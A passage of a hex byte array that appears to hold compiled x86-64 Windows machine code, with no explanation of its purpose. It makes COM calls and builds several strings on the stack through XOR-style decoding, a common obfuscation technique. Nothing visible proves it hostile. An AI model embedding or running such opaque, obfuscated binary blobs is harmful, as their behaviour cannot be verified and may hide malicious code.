0x68, 0x48, 0x89, 0x44, 0x24, 0x70, 0x48, 0xB8, 0x66, 0xDF, 0x1E, 0xD2, 0x60, 0x34, 0xFF, 0x0B, 0x48, 0x89, 0x44, 0x24, 0x68, 0x48, 0x8B, 0x44, 0x24, 0x68, 0x48, 0x89, 0x44, 0x24, 0x78, 0x66, 0x0F, 0x6F, 0x4C, 0x24, 0x70, 0xF3, 0x0F, 0x6F, 0x05, 0x98, 0x61, 0x00, 0x00, 0x0F, 0x57, 0xC8, 0x66, 0x0F, 0x7F, 0x4C, 0x24, 0x70, 0x48, 0x8D, 0x4C, 0x24, 0x70, 0x48, 0xC7, 0xC0, 0xFF, 0xFF, 0xFF, 0xFF, 0x48, 0xFF, 0xC0, 0x80, 0x3C, 0x01, 0x00, 0x75, 0xF7, 0x48, 0x8D, 0x8C, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x83, 0xBC, 0x24, 0x98, 0x00, 0x00, 0x00, 0x0F, 0x48, 0x0F, 0x47, 0x8C, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x20, 0x4C, 0x8D, 0x4C, 0x24, 0x70, 0x45, 0x33, 0xC0, 0x48, 0x8B, 0x94, 0x24, 0x90, 0x00, 0x00, 0x00, 0xE8, 0x2E, 0x27, 0x00, 0x00, 0x49, 0xC7, 0xC0, 0xFF, 0xFF, 0xFF, 0xFF, 0x49, 0x3B, 0xC0, 0x74, 0x5E, 0x48, 0xB8, 0xA0, 0x27, 0xBC, 0x58, 0x45, 0x05, 0x78, 0x7C, 0x48, 0x89, 0x44, 0x24, 0x68, 0x48, 0x8B, 0x44, 0x24, 0x68, 0x48, 0x89, 0x44, 0x24, 0x70, 0x48, 0xB8, 0x1E, 0xBA, 0x1E, 0xD2, 0x60, 0x34, 0xFF, 0x0B, 0x48, 0x89, 0x44, 0x24, 0x68, 0x48, 0x8B, 0x44, 0x24, 0x68, 0x48, 0x89, 0x44, 0x24, 0x78, 0x66, 0x0F, 0x6F, 0x4C, 0x24, 0x70, 0xF3, 0x0F, 0x6F, 0x05, 0xFA, 0x60, 0x00, 0x00, 0x0F, 0x57, 0xC8, 0x66, 0x0F, 0x7F, 0x4C, 0x24, 0x70, 0x48, 0x8D, 0x44, 0x24, 0x70, 0x0F, 0x1F, 0x40, 0x00, 0x49, 0xFF, 0xC0, 0x42, 0x80, 0x3C, 0x00, 0x00, 0x75, 0xF6, 0xEB, 0x5E, 0x48, 0xB8, 0xA6, 0x2B, 0xA9, 0x52, 0x28, 0x60, 0x78, 0x7C, 0x48, 0x89, 0x44, 0x24, 0x68, 0x48, 0x8B, 0x44, 0x24, 0x68, 0x48, 0x89, 0x44, 0x24, 0x70, 0x48, 0xB8, 0x1E, 0xBA, 0x1E, 0xD2, 0x60, 0x34, 0xFF, 0x0B, 0x48, 0x89, 0x44, 0x24, 0x68, 0x48, 0x8B, 0x44, 0x24, 0x68, 0x48, 0x89, 0x44, 0x24, 0x78, 0x66, 0x0F, 0x6F, 0x4C, 0x24, 0x70, 0xF3, 0x0F, 0x6F, 0x05, 0x9C, 0x60, 0x00, 0x00, 0x0F, 0x57, 0xC8, 0x66, 0x0F, 0x7F, 0x4C, 0x24, 0x70, 0x48, 0x8D, 0x44, 0x24, 0x70, 0x66, 0x0F, 0x1F, 0x44, 0x00, 0x00, 0x49, 0xFF, 0xC0, 0x42, 0x80, 0x3C, 0x00, 0x00, 0x75, 0xF6, 0x48, 0x8D, 0x54, 0x24, 0x70, 0x48, 0x8D, 0x8C, 0x24, 0xA0, 0x00, 0x00, 0x00, 0xE8, 0x64, 0x22, 0x00, 0x00, 0x90, 0x48, 0x8B, 0x94, 0x24, 0x98, 0x00, 0x00, 0x00, 0x48, 0x83, 0xFA, 0x0F, 0x76, 0x39, 0x48, 0xFF, 0xC2, 0x48, 0x8B, 0x8C, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xC1, 0x48, 0x81, 0xFA, 0x00, 0x10, 0x00, 0x00, 0x72, 0x1C, 0x48, 0x83, 0xC2, 0x27, 0x48, 0x8B, 0x49, 0xF8, 0x48, 0x2B, 0xC1, 0x48, 0x83, 0xC0, 0xF8, 0x48, 0x83, 0xF8, 0x1F, 0x76, 0x07, 0xFF, 0x15, 0xF3, 0x5B, 0x00, 0x00, 0xCC, 0xE8, 0xE1, 0x34, 0x00, 0x00, 0x90, 0x48, 0x8D, 0x94, 0x24, 0xA0, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8C, 0x24, 0x00, 0x02, 0x00, 0x00, 0xE8, 0xE7, 0xDB, 0xFF, 0xFF, 0x90, 0xBA, 0x02, 0x00, 0x00, 0x00, 0x33, 0xC9, 0xFF, 0x15, 0x69, 0x5C, 0x00, 0x00, 0x85, 0xC0, 0x79, 0x6C, 0x48, 0x8D, 0x8C, 0x24, 0x00, 0x02, 0x00, 0x00, 0xE8, 0xC8, 0xE2, 0xFF, 0xFF, 0x90, 0x48, 0x8B, 0x94, 0x24, 0xB8, 0x00, 0x00, 0x00, 0x48, 0x83, 0xFA, 0x0F, 0x76, 0x35, 0x48, 0xFF, 0xC2, 0x48, 0x8B, 0x8C, 0x24, 0xA0, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xC1, 0x48, 0x81, 0xFA, 0x00, 0x10, 0x00, 0x00, 0x72, 0x19, 0x48, 0x83, 0xC2, 0x27, 0x48, 0x8B, 0x49, 0xF8, 0x48, 0x2B, 0xC1, 0x48, 0x83, 0xC0, 0xF8, 0x48, 0x83, 0xF8, 0x1F, 0x0F, 0x87, 0x2E, 0x05, 0x00, 0x00, 0xE8, 0x68, 0x34, 0x00, 0x00, 0xF3, 0x0F, 0x7F, 0xB4, 0x24, 0xB0, 0x00, 0x00, 0x00, 0xC6, 0x84, 0x24, 0xA0, 0x00, 0x00, 0x00, 0x00, 0xB8, 0x01, 0x00, 0x00, 0x00, 0xE9, 0x58, 0x08, 0x00, 0x00, 0x48, 0x89, 0x74, 0x24, 0x70, 0x48, 0x8D, 0x44, 0x24, 0x70, 0x48, 0x89, 0x44, 0x24, 0x20, 0x4C, 0x8D, 0x8C, 0x24, 0x10, 0x02, 0x00, 0x00, 0x33, 0xD2, 0x41, 0xB8, 0x04, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8C, 0x24, 0x00, 0x02, 0x00, 0x00, 0xFF, 0x15, 0xE4, 0x5B, 0x00, 0x00, 0x85, 0xC0, 0x0F, 0x89, 0x9E, 0x01, 0x00, 0x00, 0x33, 0xD2, 0x41, 0xB8, 0xE8, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8C, 0x24, 0xF0, 0x00, 0x00, 0x00, 0xE8, 0xFD, 0x40, 0x00, 0x00, 0x48, 0x8D, 0x05, 0x30, 0x5F, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0xF0, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8C, 0x24, 0x78, 0x01, 0x00, 0x00, 0xFF, 0x15, 0x1A, 0x59, 0x00, 0x00, 0x90, 0xC7, 0x44, 0x24, 0x40, 0x02, 0x00, 0x00, 0x00, 0x45, 0x33, 0xC9, 0x45, 0x33, 0xC0, 0x48, 0x8D, 0x94, 0x24, 0xF8, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8C, 0x24, 0xF0, 0x00, 0x00, 0x00, 0xFF, 0x15, 0xFD, 0x58, 0x00, 0x00, 0x90, 0x48, 0x8B, 0x84, 0x24, 0xF0, 0x00, 0x00, 0x00, 0x48, 0x63, 0x48, 0x04, 0x48, 0x8D, 0x1D, 0x71, 0x5D, 0x00, 0x00, 0x48, 0x89, 0x9C, 0x0C, 0xF0, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xF0, 0x00, 0x00, 0x00, 0x48, 0x63, 0x48, 0x04, 0x8D, 0x91, 0x78, 0xFF, 0xFF, 0xFF, 0x89, 0x94, 0x0C, 0xEC, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8C, 0x24, 0xF8, 0x00, 0x00, 0x00, 0xFF, 0x15, 0x6A, 0x58, 0x00, 0x00, 0x48, 0x8D, 0x05, 0x13, 0x5E, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0xF8, 0x00, 0x00, 0x00, 0x48, 0x89, 0xB4, 0x24, 0x60, 0x01, 0x00, 0x00, 0xC7, 0x84, 0x24, 0x68, 0x01, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xFF, 0x15, 0x12, 0x5B, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xF0, 0x00, 0x00, 0x00, 0x48, 0x63, 0x48, 0x04, 0x48, 0x89, 0x9C, 0x0C, 0xF0, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xF0, 0x00, 0x00, 0x00, 0x48, 0x63, 0x48, 0x04, 0x8D, 0x91, 0x78, 0xFF, 0xFF, 0xFF, 0x89, 0x94, 0x0C, 0xEC, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8C, 0x24, 0xF8, 0x00, 0x00, 0x00, 0xE8, 0xE8, 0x19, 0x00, 0x00, 0x48, 0x8D, 0x8C, 0x24, 0x00, 0x01, 0x00, 0x00, 0xFF, 0x15, 0xAA, 0x58, 0x00, 0x00, 0x48, 0x8D, 0x8C, 0x24, 0x78, 0x01, 0x00, 0x00, 0xFF, 0x15, 0x94, 0x58, 0x00, 0x00, 0x90, 0x48, 0x8B, 0x4C, 0x24, 0x70, 0x48, 0x85, 0xC9, 0x74, 0x0C, 0x48, 0x89, 0x74, 0x24, 0x70, 0x48, 0x8B, 0x01, 0xFF, 0x50, 0x10, 0x90, 0x48, 0x8D, 0x8C, 0x24, 0x00, 0x02, 0x00, 0x00, 0xE8, 0xF8, 0xE0, 0xFF, 0xFF, 0x90, 0x48, 0x8B, 0x94, 0x24, 0xB8, 0x00, 0x00, 0x00, 0x48, 0x83, 0xFA, 0x0F, 0x76, 0x38, 0x48, 0xFF, 0xC2, 0x48, 0x8B, 0x8C, 0x24, 0xA0, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xC1, 0x48, 0x81, 0xFA, 0x00, 0x10, 0x00, 0x00, 0x72, 0x1C, 0x48, 0x83, 0xC2, 0x27, 0x48, 0x8B, 0x49, 0xF8, 0x48, 0x2B, 0xC1, 0x48, 0x83, 0xC0, 0xF8, 0x48, 0x83, 0xF8, 0x1F, 0x76, 0x07, 0xFF, 0x15, 0xA7, 0x59, 0x00, 0x00, 0xCC, 0xE8, 0x95, 0x32, 0x00, 0x00, 0xF3, 0x0F, 0x7F, 0xB4, 0x24, 0xB0, 0x00, 0x00, 0x00, 0xC6, 0x84, 0x24, 0xA0, 0x00, 0x00, 0x00, 0x00, 0xB8, 0x01, 0x00, 0x00, 0x00, 0xE9, 0x85, 0x06, 0x00, 0x00, 0xC7, 0x44, 0x24, 0x38, 0x40, 0x00, 0x00, 0x00, 0x48, 0x89, 0x74, 0x24, 0x30, 0xC7, 0x44, 0x24, 0x28, 0x03, 0x00, 0x00, 0x00, 0xC7, 0x44, 0x24, 0x20, 0x06, 0x00, 0x00, 0x00, 0xBA, 0xFF, 0xFF, 0xFF, 0xFF, 0x49, 0xC7, 0xC1, 0xFF, 0xFF, 0xFF, 0xFF, 0x44, 0x8B, 0xC2, 0x48, 0x8B, 0x4C, 0x24, 0x70, 0xFF, 0x15, 0xF7, 0x59, 0x00, 0x00, 0x85, 0xC0, 0x0F, 0x89, 0x89, 0x00, 0x00, 0x00, 0xFF, 0x15, 0xF1, 0x59, 0x00, 0x00, 0x90, 0x48, 0x8B, 0x4C, 0x24, 0x70, 0x48, 0x85, 0xC9, 0x74, 0x0C, 0x48, 0x89, 0x74, 0x24, 0x70, 0x48, 0x8B, 0x01, 0xFF, 0x50, 0x10, 0x90, 0x48, 0x8D, 0x8C, 0x24, 0x00, 0x02, 0x00, 0x00, 0xE8, 0x2D, 0xE0, 0xFF, 0xFF, 0x90, 0x48, 0x8B, 0x94, 0x24, 0xB8, 0x00, 0x00, 0x00, 0x48, 0x83, 0xFA, 0x0F, 0x76, 0x35, 0x48, 0xFF, 0xC2, 0x48, 0x8B, 0x8C, 0x24, 0xA0, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xC1, 0x48, 0x81, 0xFA, 0x00, 0x10, 0x00, 0x00, 0x72, 0x19, 0x48, 0x83, 0xC2, 0x27, 0x48, 0x8B, 0x49, 0xF8, 0x48, 0x2B, 0xC1, 0x48, 0x83, 0xC0, 0xF8, 0x48, 0x83, 0xF8, 0x1F, 0x0F, 0x87, 0x93, 0x02, 0x00, 0x00, 0xE8, 0xCD, 0x31, 0x00, 0x00, 0xF3, 0x0F, 0x7F, 0xB4, 0x24, 0xB0, 0x00, 0x00, 0x00, 0xC6, 0x84, 0x24, 0xA0, 0x00, 0x00, 0x00, 0x00, 0xB8, 0x01, 0x00, 0x00, 0x00, 0xE9, 0xBD, 0x05, 0x00, 0x00, 0x0F, 0x57, 0xC0, 0x33, 0xC0, 0x0F, 0x11, 0x84, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x94, 0x24, 0x40, 0x02, 0x00, 0x00, 0x48, 0x8D, 0x8C, 0x24, 0x80, 0x00, 0x00, 0x00, 0xE8, 0x94, 0xE8, 0xFF, 0xFF, 0x90, 0x48, 0x8B, 0x94, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0x48, 0x3B, 0xD0, 0x0F, 0x85, 0xDF, 0x00, 0x00, 0x00, 0xFF, 0x15, 0x24, 0x59, 0x00, 0x00, 0x90, 0x48, 0x8B, 0x8C, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x85, 0xC9, 0x74, 0x49, 0x48, 0x8B, 0x94, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x2B, 0xD1, 0x48, 0x8B, 0xC1, 0x48, 0x81, 0xFA, 0x00, 0x10, 0x00, 0x00, 0x72, 0x19, 0x48, 0x83, 0xC2, 0x27, 0x48, 0x8B, 0x49, 0xF8, 0x48, 0x2B, 0xC1, 0x48, 0x83, 0xC0, 0xF8, 0x48, 0x83, 0xF8, 0x1F, 0x0F, 0x87, 0xA6, 0x04, 0x00, 0x00, 0xE8, 0x25, 0x31, 0x00, 0x00, 0x0F, 0x57, 0xC0, 0xF3, 0x0F, 0x7F, 0x84, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x89, 0xB4, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x4C, 0x24, 0x70, 0x48, 0x85, 0xC9, 0x74, 0x0C, 0x48, 0x89, 0x74, 0x24, 0x70, 0x48, 0x8B, 0x01, 0xFF, 0x50, 0x10, 0x90, 0x48, 0x8D, 0x8C, 0x24, 0x00, 0x02, 0x00, 0x00, 0xE8, 0x0A, 0xDF, 0xFF, 0xFF, 0x90, 0x48, 0x8B, 0x94, 0x24, 0xB8, 0x00, 0x00, 0x00, 0x48, 0x83, 0xFA, 0x0F, 0x76, 0x35, 0x48, 0xFF, 0xC2, 0x48, 0x8B, 0x8C, 0x24, 0xA0, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xC1, 0x48, 0x81, 0xFA, 0x00, 0x10, 0x00, 0x00, 0x72, 0x19, 0x48, 0x83, 0xC2, 0x27, 0x48, 0x8B, 0x49, 0xF8, 0x48, 0x2B, 0xC1, 0x48, 0x83, 0xC0, 0xF8, 0x48, 0x83, 0xF8, 0x1F, 0x0F, 0x87, 0x70, 0x01, 0x00, 0x00, 0xE8, 0xAA, 0x30, 0x00, 0x00, 0xF3, 0x0F, 0x7F, 0xB4, 0x24, 0xB0, 0x00, 0x00, 0x00, 0xC6, 0x84, 0x24, 0xA0, 0x00, 0x00, 0x00, 0x00, 0xB8, 0x01, 0x00, 0x00, 0x00, 0xE9, 0x9A, 0x04, 0x00, 0x00, 0x48, 0x2B, 0xC2, 0x41, 0xB8, 0x14, 0x00, 0x00, 0x00, 0x49, 0x3B, 0xC0, 0x4C, 0x0F, 0x42, 0xC0, 0x48, 0x8D, 0x8C, 0x24, 0xC8, 0x00, 0x00, 0x00, 0xE8, 0x0E, 0xE0, 0xFF, 0xFF, 0x90, 0x8B, 0x94, 0x24, 0x88, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0x80, 0x00, 0x00, 0x00, 0x2B, 0xD1, 0xFF, 0x15, 0x5E, 0x56, 0x00, 0x00, 0x48, 0x8B, 0xF8, 0x48, 0x85, 0xC0, 0x0F, 0x85, 0x36, 0x01, 0x00, 0x00, 0xFF, 0x15, 0x04, 0x58, 0x00, 0x00, 0x90, 0x48, 0x8B, 0x94, 0x24, 0xE0, 0x00, 0x00, 0x00, 0x48, 0x83, 0xFA, 0x0F, 0x76, 0x35, 0x48, 0xFF, 0xC2, 0x48, 0x8B, 0x8C, 0x24, 0xC8, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xC1, 0x48, 0x81, 0xFA, 0x00, 0x10, 0x00, 0x00, 0x72, 0x19, 0x48, 0x83, 0xC2, 0x27, 0x48, 0x8B, 0x49, 0xF8, 0x48, 0x2B, 0xC1, 0x48, 0x83, 0xC0, 0xF8, 0x48, 0x83, 0xF8, 0x1F, 0x0F, 0x87, 0x2F, 0x03, 0x00, 0x00, 0xE8, 0x04, 0x30, 0x00, 0x00, 0xF3, 0x0F, 0x7F, 0xB4, 0x24, 0xD8, 0x00, 0x00, 0x00, 0xC6, 0x84, 0x24, 0xC8, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x85, 0xC9, 0x74, 0x49, 0x48, 0x8B, 0x94, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x2B, 0xD1, 0x48, 0x8B, 0xC1, 0x48, 0x81, 0xFA, 0x00, 0x10, 0x00, 0x00, 0x72, 0x19, 0x48, 0x83, 0xC2, 0x27, 0x48, 0x8B, 0x49, 0xF8, 0x48, 0x2B, 0xC1, 0x48, 0x83, 0xC0, 0xF8, 0x48, 0x83, 0xF8, 0x1F, 0x0F, 0x87, 0x32, 0x03, 0x00, 0x00, 0xE8, 0xB1, 0x2F, 0x00, 0x00, 0x0F, 0x57, 0xC0, 0xF3, 0x0F, 0x7F, 0x84, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x89, 0xB4, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x4C, 0x24, 0x70, 0x48, 0x85, 0xC9, 0x74, 0x0C, 0x48, 0x89, 0x74, 0x24, 0x70, 0x48, 0x8B, 0x01, 0xFF, 0x50, 0x10, 0x90, 0x48, 0x8D, 0x8C, 0x24, 0x00, 0x02, 0x00, 0x00, 0xE8, 0x96, 0xDD, 0xFF, 0xFF, 0x90, 0x48, 0x8B, 0x94, 0x24, 0xB8, 0x00, 0x00, 0x00, 0x48, 0x83, 0xFA, 0x0F, 0x76, 0x38, 0x48, 0xFF, 0xC2, 0x48, 0x8B, 0x8C, 0x24, 0xA0, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xC1, 0x48, 0x81, 0xFA, 0x00, 0x10, 0x00, 0x00, 0x72, 0x1C, 0x48, 0x83, 0xC2, 0x27, 0x48, 0x8B, 0x49, 0xF8, 0x48, 0x2B, 0xC1, 0x48, 0x83, 0xC0, 0xF8, 0x48, 0x83, 0xF8, 0x1F, 0x76, 0x07, 0xFF, 0x15, 0x45, 0x56, 0x00, 0x00, 0xCC, 0xE8, 0x33, 0x2F, 0x00, 0x00, 0xF3, 0x0F, 0x7F, 0xB4, 0x24, 0xB0, 0x00, 0x00, 0x00, 0xC6, 0x84, 0x24, 0xA0, 0x00, 0x00, 0x00, 0x00, 0xB8, 0x01, 0x00, 0x00, 0x00, 0xE9, 0x23, 0x03, 0x00, 0x00, 0x48, 0x89, 0x74, 0x24, 0x68, 0xC7, 0x84, 0x24, 0xC0, 0x00, 0x00, 0x00, 0x1F, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x4C, 0x24, 0x70, 0x48, 0x8B, 0x01, 0x4C, 0x8D, 0x8C, 0x24, 0xC0, 0x00, 0x00, 0x00, 0x4C, 0x8D, 0x44, 0x24, 0x68, 0x48, 0x8B, 0xD7, 0xFF, 0x50, 0x28, 0x85, 0xC0, 0x0F, 0x88, 0xAF, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x4C, 0x24, 0x68, 0x48, 0x85, 0xC9, 0x0F, 0x84, 0xB3, 0x01, 0x00, 0x00, 0xFF, 0x15, 0xCD, 0x54, 0x00, 0x00, 0x83, 0xF8, 0x20, 0x0F, 0x85, 0xA4, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x4C, 0x24, 0x68, 0x0F, 0x10, 0x01, 0x0F, 0x11, 0x44, 0x24, 0x48, 0x0F, 0x10, 0x49, 0x10, 0x0F, 0x11, 0x4C, 0x24, 0x58, 0xFF, 0x15, 0xB8, 0x54, 0x00, 0x00, 0x41, 0xB8, 0x20, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x54, 0x24, 0x48, 0x48, 0x8D, 0x8C, 0x24, 0xE0, 0x01, 0x00, 0x00, 0xE8, 0x30, 0xDE, 0xFF, 0xFF, 0x90, 0x48, 0x8D, 0x8C, 0x24, 0xE0, 0x01, 0x00, 0x00, 0xE8, 0x22, 0xF4, 0xFF, 0xFF, 0x90, 0x48, 0x8B, 0x94, 0x24, 0xF8, 0x01, 0x00, 0x00, 0x48, 0x83, 0xFA, 0x0F, 0x0F, 0x86, 0x4F, 0x01, 0x00, 0x00, 0x48, 0xFF, 0xC2, 0x48, 0x8B, 0x8C, 0x24, 0xE0, 0x01, 0x00, 0x00, 0x48, 0x8B, 0xC1, 0x48, 0x81, 0xFA, 0x00, 0x10, 0x00, 0x00, 0x72, 0x1C, 0x48, 0x83, 0xC2, 0x27, 0x48, 0x8B, 0x49, 0xF8, 0x48, 0x2B, 0xC1, 0x48, 0x83, 0xC0, 0xF8, 0x48, 0x83, 0xF8, 0x1F, 0x76, 0x07, 0xFF, 0x15, 0x4D, 0x55, 0x00, 0x00, 0xCC, 0xE8, 0x3B, 0x2E, 0x00, 0x00, 0xE9, 0x12, 0x01, 0x00, 0x00, 0x33, 0xD2, 0x41, 0xB8, 0xE8, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8C, 0x24, 0xF0, 0x00, 0x00, 0x00, 0xE8, 0x1B, 0x3B, 0x00, 0x00, 0x48, 0x8D, 0x05, 0x4E, 0x59, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0xF0, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8C, 0x24, 0x78, 0x01, 0x00, 0x00, 0xFF, 0x15, 0x38, 0x53, 0x00, 0x00, 0x90, 0xC7, 0x44, 0x24, 0x40, 0x04, 0x00, 0x00, 0x00, 0x45, 0x33, 0xC9, 0x45, 0x33, 0xC0, 0x48, 0x8D, 0x94, 0x24, 0xF8, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8C, 0x24, 0xF0, 0x00, 0x00, 0x00, 0xFF, 0x15, 0x1B, 0x53, 0x00, 0x00, 0x90, 0x48, 0x8B, 0x84, 0x24, 0xF0, 0x00, 0x00, 0x00, 0x48, 0x63, 0x48, 0x04, 0x48, 0x8D, 0x1D, 0x8F, 0x57, 0x00, 0x00, 0x48, 0x89, 0x9C, 0x0C, 0xF0, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xF0, 0x00, 0x00, 0x00, 0x48, 0x63, 0x48, 0x04, 0x8D, 0x91, 0x78, 0xFF, 0xFF, 0xFF, 0x89, 0x94, 0x0C, 0xEC, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8C, 0x24, 0xF8, 0x00, 0x00, 0x00, 0xFF, 0x15, 0x88, 0x52, 0x00, 0x00, 0x48, 0x8D, 0x05, 0x31, 0x58, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0xF8, 0x00, 0x00, 0x00, 0x48, 0x89, 0xB4, 0x24, 0x60, 0x01, 0x00, 0x00, 0xC7, 0x84, 0x24, 0x68, 0x01, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xF0, 0x00, 0x00, 0x00, 0x48, 0x63, 0x48, 0x04, 0x48, 0x89, 0x9C, 0x0C, 0xF0, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xF0, 0x00, 0x00, 0x00, 0x48, 0x63, 0x48, 0x04, 0x8D, 0x91, 0x78, 0xFF, 0xFF, 0xFF, 0x89, 0x94, 0x0C, 0xEC, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8C, 0x24, 0xF8, 0x00, 0x00, 0x00, 0xE8, 0x0C, 0x14, 0x00, 0x00, 0x48, 0x8D, 0x8C, 0x24, 0x00, 0x01, 0x00, 0x00, 0xFF, 0x15, 0xCE, 0x52, 0x00, 0x00, 0x48, 0x8D, 0x8C, 0x24, 0x78, 0x01, 0x00, 0x00, 0xFF, 0x15, 0xB8, 0x52, 0x00, 0x00, 0x48, 0x8B, 0xCF, 0xFF, 0x15, 0x27, 0x53, 0x00, 0x00, 0xFF, 0x15, 0xD1, 0x54, 0x00, 0x00, 0x90, 0x48, 0x8B, 0x94, 0x24, 0xE0, 0x00, 0x00, 0x00, 0x48, 0x83, 0xFA, 0x0F, 0x76, 0x38, 0x48, 0xFF, 0xC2, 0x48, 0x8B, 0x8C, 0x24, 0xC8, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xC1, 0x48, 0x81, 0xFA, 0x00, 0x10, 0x00, 0x00, 0x72, 0x1C, 0x48, 0x83, 0xC2, 0x27, 0x48, 0x8B, 0x49, 0xF8, 0x48, 0x2B, 0xC1, 0x48, 0x83, 0xC0, 0xF8, 0x48, 0x83, 0xF8, 0x1F, 0x76, 0x07, 0xFF, 0x15, 0xE0, 0x53, 0x00, 0x00, 0xCC, 0xE8, 0xCE, 0x2C, 0x00, 0x00, 0xF3, 0x0F, 0x7F, 0xB4, 0x24, 0xD8, 0x00, 0x00, 0x00, 0xC6, 0x84, 0x24, 0xC8, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x85, 0xC9, 0x74, 0x4C, 0x48, 0x8B, 0x94, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x2B, 0xD1, 0x48, 0x8B, 0xC1, 0x48, 0x81, 0xFA, 0x00, 0x10, 0x00, 0x00, 0x72, 0x1C, 0x48, 0x83, 0xC2, 0x27, 0x48, 0x8B, 0x49, 0xF8, 0x48, 0x2B, 0xC1, 0x48, 0x83, 0xC0, 0xF8, 0x48, 0x83, 0xF8, 0x1F, 0x76, 0x07, 0xFF, 0x15, 0x8A, 0x53, 0x00, 0x00, 0xCC, 0xE8, 0x78, 0x2C, 0x00, 0x00, 0x0F, 0x57, 0xC0, 0xF3, 0x0F, 0x7F, 0x84, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x89, 0xB4, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x4C, 0x24, 0x70, 0x48, 0x85, 0xC9, 0x74, 0x0C, 0x48, 0x89, 0x74, 0x24, 0x70, 0x48, 0x8B, 0x01, 0xFF, 0x50, 0x10, 0x90, 0x48, 0x8D, 0x8C, 0x24, 0x00, 0x02, 0x00, 0x00, 0xE8, 0x5D, 0xDA, 0xFF, 0xFF, 0x90, 0x48, 0x8B, 0x94, 0x24, 0xB8, 0x00, 0x00, 0x00, 0x48, 0x83, 0xFA, 0x0F, 0x76, 0x38, 0x48, 0xFF, 0xC2, 0x48, 0x8B, 0x8C, 0x24, 0xA0, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xC1, 0x48, 0x81, 0xFA, 0x00, 0x10, 0x00, 0x00, 0x72, 0x1C, 0x48, 0x83, 0xC2, 0x27, 0x48, 0x8B, 0x49, 0xF8, 0x48, 0x2B, 0xC1, 0x48, 0x83, 0xC0, 0xF8, 0x48, 0x83, 0xF8, 0x1F, 0x76, 0x07, 0xFF, 0x15, 0x0C, 0x53, 0x00, 0x00, 0xCC, 0xE8, 0xFA, 0x2B, 0x00, 0x00, 0xB8, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0x98, 0x03, 0x00, 0x00, 0x48, 0x33, 0xCC, 0xE8, 0xE1, 0x28, 0x00, 0x00, 0x4C, 0x8D, 0x9C, 0x24, 0xB0, 0x03, 0x00, 0x00, 0x49, 0x8B, 0x5B, 0x18, 0x49, 0x8B, 0x73, 0x20, 0x41, 0x0F, 0x28, 0x73, 0xF0, 0x49, 0x8B, 0xE3, 0x5F, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x28, 0x48, 0x8B, 0xC1, 0x48, 0x8B, 0x09, 0x48, 0x85, 0xC9, 0x74, 0x0E, 0x48, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x01, 0xFF, 0x50, 0x10, 0x90, 0x48, 0x83, 0xC4, 0x28, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x57, 0x48, 0x83, 0xEC, 